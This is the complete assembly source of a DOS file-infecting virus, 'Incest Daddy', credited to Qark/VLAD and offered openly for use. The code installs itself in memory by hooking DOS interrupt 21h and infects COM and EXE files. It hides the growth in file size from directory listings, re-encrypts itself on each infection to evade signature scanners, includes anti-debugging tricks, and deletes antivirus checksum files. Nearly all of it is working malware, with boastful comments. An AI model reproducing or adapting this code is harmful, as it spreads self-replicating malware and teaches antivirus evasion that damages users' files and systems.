; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Daddy Incest Virus ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; Another member of the Incest Family. ; ; TSR. COMMAND.COM infecting. Directory stealth. ; COM and EXE infection. Good Encryption. ; (We had OVL infection but it crashes!) ; ; Deletes all those CRC checking files. ; Avoids TBScan/F-prot. ; Since the final release of this virus I have learnt many new optimisations ; and coding techniques from Terminator Z. Look for these in the next issue ; of the VLAD magazine. ; This is the best virus in the incest family by far. Please enjoy. org 0 entry: call crap_ret ;Get IP return_here: ;Where the ret will return. mov word ptr cs:[si+offset quit], 20cdh quit: ;Put an 'int 20h' here. ;Because of DOS's prefetch ;queue, it will glide over ;it, while f-prot/debug etc ;will stop here. ;Put this in last because ;it really fucks up debug. ;Also, it fucks TBClean. cmp byte ptr cs:[si+exe_com],1 je com_start ;Exe shit in here. mov word ptr cs:[si+offset orig_sp],sp mov word ptr cs:[si+offset orig_ss],ss cli mov dx,cs mov ss,dx mov sp,si add sp,offset stackend sti call unencrypt call install_tsr jmp exe_end ;Jump down so that bit is inside ;the encryption. unencrypt proc near ;Setup for unencryption. mov al,byte ptr cs:[si+offset encryptor] push si add si,offset enc_start call encrypt pop si ret unencrypt endp com_start: call unencrypt enc_start: call install_tsr ;Restore orig 3 bytes. add si,offset old3 mov di,100h mov cx,3 rep movsb mov si,0ffh inc si push si ret exe_end: ;add es,10h mov dx,es add dx,10h ;add original offset of cs in paragraphs. add word ptr cs:[si+jump+2],dx ;now you have your cs to jump to ;move it where we want it then jump to it. cli mov sp,word ptr cs:[si+orig_sp] mov ss,word ptr cs:[si+orig_ss] sti xor dx,dx xor si,si db 0eah ;JMPF jump dw 0 dw 0 install_TSR proc near ;Should work with both EXE's and COM's. push ax push bx push cx push dx push ds push es ;Test to see whether daddy is home. mov ah,61h ;Daddy! mov di,'DA' mov bx,'D' int 21h ;do compares here... cmp cx,'DA' jne go_tsr jmp jend go_tsr: xor ax,ax ;Segment 0... where the mov es,ax ;interrupt table lurks... mov ax,word ptr es:[132] ;Put int21 in i21... mov word ptr cs:[si+offset i21],ax mov word ptr cs:[si+offset int21_2],ax mov ax,word ptr es:[134] mov word ptr cs:[si+offset i21 + 2],ax mov word ptr cs:[si+offset int21_2 + 2],ax ;Check for incest family marker here... mov ah,61h ;Sis!(ter) mov di,'IN' int 21h cmp di,'NI' jne not_incest mov word ptr cs:[si+offset int21_2],cx mov word ptr cs:[si+offset int21_2+2],dx not_incest: mov ax,ds dec ax mov es,ax ;MCB segment. cmp byte ptr es:[0],5ah ;'Z' - last MCB. jne jend sub word ptr es:[3],150 sub word ptr es:[12h],150 ;150*16 bytes less memory. mov ax,es:[12h] ;find virus MCB segment mov es,ax ;es=virus MCB segment mov byte ptr es:[0],5ah ;mark as last in MCB chain mov word ptr es:[1],8 ;DOS now owns this mov word ptr es:[3],2384 ;set the size of segment inc ax ;ax=virus segment mov es,ax ;es=virus segment mov di,offset entry mov cx,length ;virus size push cs pop ds push si rep movsb ;copy virus to TOM pop si mov bx,es xor ax,ax ;es = segment of vector table mov es,ax mov ax,offset infection ;change vector table to point cli mov word ptr es:[132],ax ;to our virus... mov word ptr es:[134],bx sti jend: pop es pop ds pop dx pop cx pop bx pop ax ret install_TSR endp ;###### Here is the Details ###### Virus_Name db '[Incest Daddy]',0 Author db 'by Qark/VLAD',0 old3 db 0cdh,20h,0 ;Storage for the bytes in com files infection proc far cmp ah,4bh je test_file cmp ah,43h je test_file cmp ah,56h je test_file cmp ax,6c00h je test_file cmp ah,3dh je test_file cmp ah,11h je dir_listing cmp ah,12h je dir_listing ;insert residency test here... cmp ah,61h jne not_testing cmp di,'DA' jne chk4incest cmp bx,'D' jne not_testing mov cx,'DA' ;Return test parameters. iret chk4incest: cmp di,'IN' jne not_testing mov di,'NI' ;Incest Marker... mov cx,word ptr cs:[int21_2] mov dx,word ptr cs:[int21_2 + 2] ;Pass original int21h out. iret dir_listing: jmp dir_stealth not_testing: jmp far_tsr_end test_file: push ax push bx push cx push dx push ds push es push si push di cmp ah,6ch jne no_fix_6c mov dx,si no_fix_6c: cld ;Clear Direction Flag. mov si,dx ;Filename being executed. dec si find_ascii_z: inc si cmp byte ptr ds:[si],0 ;Find end of ASCIIZ name. jne find_ascii_z sub si,4 ;Length of '.EXE' cmp word ptr ds:[si],'E.' je exe_found1 jmp cmp_com exe_found1: cmp word ptr ds:[si+2],'EX' ;Test for '.EXE' je exe_found2 cmp_com: cmp word ptr ds:[si],'C.' je com_found1 jmp filename_exit com_found1: cmp word ptr ds:[si+2],'MO' ;Test for '.COM' jne filename_exit mov byte ptr cs:exe_com,1 jmp do_file filename_exit: jmp f_pop_exit exe_found2: mov byte ptr cs:[exe_com],0 Do_file: mov ax,3d02h call int21h jc filename_exit mov bx,ax xor ax,ax mov es,ax mov ax,word ptr es:[144] mov word ptr cs:[i24],ax mov ax,word ptr es:[146] mov word ptr cs:[i24+2],ax ;Save int24h mov word ptr es:[144],offset int24h mov es:[146],cs ;Cool handler! push dx ;Save the path for l8r mov ax,5700h call int21h ;Save the file date for ;later use. mov cs:filetime,cx ;File date and Time. mov cs:filedate,dx cmp cx,dx jne infect pop dx ;Pop this or everything will ;stuff up. jmp far_close_exit infect: pop dx ;DS:DX = path of infectee. call del_crc_files ;Delete some CRC checkers. ;Com and Exe go their separate ways... cmp byte ptr exe_com,0 je exe_infection jmp com_infection exe_infection: ;My Exe infection code is lame!!!! ;read in header mov ah,3fh mov cx,1ah mov dx,offset header ;Read the header in here. call int21h mov si,offset header ;Index to the header. mov cx,word ptr [si] ;MZ header. add ch,cl ;Add M+Z = 167. cmp ch,167 je good_exe jmp far_close_exit good_exe: ;convert headersize to bytes mov ax,word ptr [si+8] mov cl,4 shl ax,cl ;Mul by 16 - paragraphs mov word ptr hsize,ax ;Header size in bytes. ;save original cs & ip for later use mov ax,word ptr [si+14h] mov word ptr jump,ax mov ax,word ptr [si+16h] mov word ptr jump+2,ax ;end of file mov al,2 ;Go to EOF. call lseek ;get file length ;convert length to paragraph/offset form sub ax,word ptr hsize sbb dx,0 mov cx,10h div cx ;write to header mov word ptr [si+14h],dx ;New IP/CS mov word ptr [si+16h],ax ;fix up encryption call encrypt_setup ;write virus to eof mov ah,40h mov cx,length ;Virus Size mov dx,offset stackend call int21h jc far_close_exit ;get new file length mov al,2 ;EOF again. call lseek ;work out number of pages and write to header push dx ;Save them. push ax mov cx,512 ;Page Size = 512. div cx inc ax mov word ptr [si+4],ax ; new file size pop ax pop dx sub ax,word ptr hsize sbb dx,0 mov cx,512 div cx mov word ptr [si+2],dx ;Size of last page. mov al,0 ;Start of file. call lseek mov ah,40h ;Write header. mov dx,offset header mov cx,1ah call int21h time_Exit: mov ax,5701h ;Restore file time. mov cx,filedate mov dx,filedate call int21h far_close_exit: mov ah,3eh ;Close file. call int21h xor ax,ax mov es,ax ;Interrupt vector table at mov ax,word ptr cs:[i24] ;Segment 0. mov es:[144],ax mov ax,word ptr cs:[i24+2] mov es:[146],ax ;Reset int 24h f_pop_exit: pop di pop si pop es pop ds pop dx ;Restore everything. pop cx pop bx pop ax far_tsr_end: db 0eah ;Self modifying code here. i21 dd 0 com_infection: mov ah,3fh mov cx,3 ;CX = no. to read mov dx,offset old3 ;Read into old3 call int21h ;Read 1st three bytes mov al,02h ;Seek to end of file call lseek ;End of file push ax call encrypt_setup mov dx,offset stackend ;Address of virus mov cx,length ;Length of virus mov ah,40h call int21h ;Write virus to file jc far_close_exit xor al,al ;Seek to start call lseek ;Start of file pop ax ;Restore file length sub ax,3 mov cs:[jumpbit+1],ax mov dx,offset jumpbit ;Address of start mov ah,40h mov cx,3 ;Write three bytes call int21h ;Write jump for ;file newly infected. jmp time_exit jumpbit db 0e9h,0,0 hsize dw 0 ;Header size in bytes. filedate dw 0 ;File date. filetime dw 0 ;File time. dir_stealth: ;This bit means that when you do a 'dir' there is no change in ;file size. call int21h ;Call the interrupt cmp al,0 ;straight off. jne end_of_dir push es push ax ;Save em. push bx push si mov ah,2fh ;Get DTA address. int 21h mov si,bx cmp byte ptr es:[si],0ffh ;Extended FCB ? jne not_extended add si,7 ;Add the extra's. not_extended: mov cx,word ptr es:[si+17h] ;Move time and date. mov ax,word ptr es:[si+19h] cmp ax,cx ;Are time and date equal ? jne dir_pop sub word ptr es:[si+1dh],length ;Subtract the file length. sbb word ptr es:[si+1fh],0 dir_pop: pop si pop bx pop ax pop es end_of_dir: iret ;Return to caller. ;Sets up the encryption for the TSR. encrypt_setup proc near mov word ptr quit,802eh ;Move the bytes changed by ;the anti-debugging code ;back to the start. cmp byte ptr encryptor,0ffh jne not_zero inc byte ptr encryptor ;Make sure it's not zero. not_zero: inc byte ptr encryptor ;Change the encryptor to fuck mov al,byte ptr encryptor ;up all those signature ;scanners... push si push cs pop es mov si,offset entry mov di,offset stackend mov cx,length rep movsb mov si,offset stackend + offset enc_start call encrypt pop si ret Encrypt_Setup endp Del_CRC_Files proc near ; Deletes AV CRC checking files. This saves the user a heap of disk space. ; Aren't we just good guys ?! :) push cs ;ES=CS pop es add si,4 ;SI=End of ASCIIZ name. mov cx,si sub cx,dx ;CX=Length of string. mov si,dx ;SI=Start of ASCIIZ mov di,offset stackseg ;Put it all in stackseg rep movsb ;Move it! push cs ;DS=CS pop ds mov si,offset file1 ;First file. find_path: cmp byte ptr [di],'\' ;Looking for a slash. je add_name ;Found a slash! cmp di,offset stackseg ;Slashless :( je no_slash dec di jmp find_path no_slash: mov word ptr stackseg,'\.' ;Put or own slash in... inc di ;Default directory. add_name: inc di mov cx,13 ;Move our filename in. rep movsb mov dx,offset stackseg ;Delete it! mov ah,41h call int21h cmp si,offset lseek ;Finished deleting. jne find_path ret Del_CRC_Files endp file1 db 'ANTI-VIR.DAT',0 ;Get rid of these pests. file2 db 'MSAV.CHK',0,0,0,0,0 file3 db 'CHKLIST.CPS',0,0 file4 db 'CHKLIST.MS',0,0,0 LSeek proc near ; Al = 0 = Start of file |||| Al = 2 = End of file mov ah,42h xor cx,cx xor dx,dx call int21h ret Lseek endp int24h proc near ;Stops embarassing error messages on write protected ;diskettes... mov al,3 iret int24h endp i24 dd 0 ;Original int24h int21h proc near ;False int21h pushf db 9ah ;'Call far ptr' opcode. int21_2 dd 0 ;Save second int 21h here... enc_end: ret int21h endp ;This routine must remain outside of the encryption. crap_ret proc near ;Crappy 'Ret' routine to get IP. mov bp,sp mov si,word ptr ss:[bp] sub si,offset return_here xor bp,bp ret crap_ret endp encrypt proc near ;SI = Offset of bit to be encrypted ;AL = Encryptor push cx mov cx,offset enc_end - offset enc_start enc_loop: ror al,1 neg al xor byte ptr cs:[si],al inc si loop enc_loop pop cx ret encrypt endp encryptor db 0 exe_com db 1 ;Exe or com file ? 1 = com orig_sp dw 0 orig_ss dw 0 header db 1ah dup (0) ;The temporary stack. stackseg db 100 dup (0) stackend db 0 length equ offset header ;The length of the virus.